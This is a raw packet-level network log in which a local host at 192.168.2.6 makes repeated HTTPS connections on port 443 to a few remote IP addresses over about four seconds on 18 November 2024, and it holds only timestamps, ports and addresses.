Nov 18, 2024 02:34:20.106642962 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.106827021 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.106827021 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.106856108 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.277503014 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.277546883 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.801431894 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.801960945 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.801990986 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.802588940 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.802597046 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.812755108 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.813069105 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.813088894 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.813604116 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.813611031 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.829814911 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.830233097 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.830246925 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.830621958 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.830626965 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.857279062 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.857877970 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.857901096 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.858398914 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.858408928 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.931726933 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.931863070 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.932043076 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.932100058 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.932115078 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.932128906 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.932136059 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.935633898 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.935667038 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.935739040 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.935936928 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.935947895 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.942270041 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.942485094 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.942550898 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.942589045 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.942605019 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.942616940 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.942624092 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.945426941 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.945456028 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.945545912 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.945692062 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.945709944 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.959862947 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.959963083 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.960022926 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.961195946 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.961195946 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.961210012 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.961219072 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.964112043 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.964150906 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.964243889 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.964672089 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.964688063 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.990809917 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.991036892 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.991136074 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.991161108 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.991173029 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.991188049 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.991194963 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.994173050 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.994215965 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.994298935 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.994570971 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.994602919 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.025615931 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.026132107 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.026143074 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.026582956 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.026590109 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.158854008 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.159007072 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.159069061 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.159193993 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.159212112 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.159224987 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.159230947 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.162337065 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.162375927 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.162499905 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.162678003 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.162693977 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.674869061 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.675380945 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.675395966 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.675851107 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.675857067 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.693325043 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.694169998 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.694185972 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.694415092 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.694422007 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.695939064 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.696410894 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.696428061 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.696775913 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.696794987 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.739753008 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.740273952 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.740334988 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.740694046 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.740709066 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.803195000 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.803481102 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.803554058 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.803612947 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.803623915 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.803633928 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.803638935 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.806708097 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.806813002 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.806906939 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.807142973 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.807182074 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.825491905 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.825695038 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.825758934 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.825809002 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.825809002 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.825829983 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.825840950 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.828131914 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.828165054 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.828366995 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.828480005 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.828525066 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.872442961 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.872596025 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.872678041 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.872762918 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.872808933 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.872840881 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.872857094 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.875433922 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.875511885 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.875608921 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.875845909 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.875884056 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.898260117 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.898479939 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.898598909 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.898598909 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.898598909 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.900897980 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.900958061 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:21.901045084 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.901186943 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:21.901215076 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.199462891 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.199489117 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.267168045 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.267709970 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.267729998 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.268423080 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.268429041 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.394702911 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.394869089 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.394985914 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.395210981 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.395210981 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.395231962 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.395245075 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.398425102 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.398504019 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.398730040 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.398977041 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.399012089 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.553464890 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.554045916 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.554107904 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.554486990 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.554506063 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.569133043 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.569613934 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.569659948 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.570008993 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.570022106 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.676348925 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.676913977 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.676953077 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.677376986 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.677391052 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.680811882 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.680994987 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.681096077 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.681185961 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.681185961 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.681229115 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.681260109 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.684359074 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.684386015 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.684456110 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.684643030 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.684655905 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.704353094 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.704483986 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.704556942 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.704632044 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.704648018 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.704658031 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.704663992 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.707184076 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.707226992 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.707324982 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.707463026 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.707480907 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.819086075 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.819236040 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.819299936 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.819454908 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.819482088 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.819508076 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.819524050 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.822333097 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.822341919 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.822412014 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.822535038 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.822547913 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.864944935 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.865365982 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.865411043 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.865827084 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.865839005 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.994729042 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.994820118 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.994950056 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.995107889 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.995146036 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:22.995199919 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:22.995215893 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.005532026 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.005547047 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.005624056 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.006031036 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.006052017 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.145701885 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.146816969 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.146843910 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.147309065 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.147336006 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.159641027 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.159780025 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.159852982 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.160029888 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.160063982 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.187336922 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.187375069 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.187519073 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.187889099 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.187900066 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.276066065 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.276695013 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.276789904 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.276864052 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.276864052 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.276918888 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.276942015 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.280376911 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.280412912 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.280515909 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.280708075 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.280725956 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.441904068 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.442405939 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.442423105 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.442856073 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.442861080 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.449635029 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.450067997 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.450082064 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.450503111 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.450510979 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.565160036 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.565591097 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.565598965 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.566066027 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.566071033 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.570630074 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.570796967 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.570863962 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.570938110 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.570945978 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.573252916 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.573295116 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.573371887 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.573491096 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.573506117 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.581587076 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.581664085 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.581722975 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.581831932 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.581847906 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.581860065 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.581866980 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.584208012 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.584235907 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.584572077 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.584572077 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.584603071 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.590431929 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:23.590446949 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:23.590620995 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:23.592323065 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:23.592334986 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:23.697515965 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.697675943 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.697750092 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.713063002 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.713071108 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.713079929 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.713083982 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.716049910 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.716144085 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.716231108 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.716356993 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.716381073 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.727840900 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.728188992 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.728209019 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.728629112 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:23.728635073 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:23.920068979 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.920228004 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.921601057 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.921608925 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.921941042 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:23.923166990 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.923166990 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:23.923259020 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:24.039897919 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.039963961 CET	443	49767	13.107.246.45	192.168.2.6
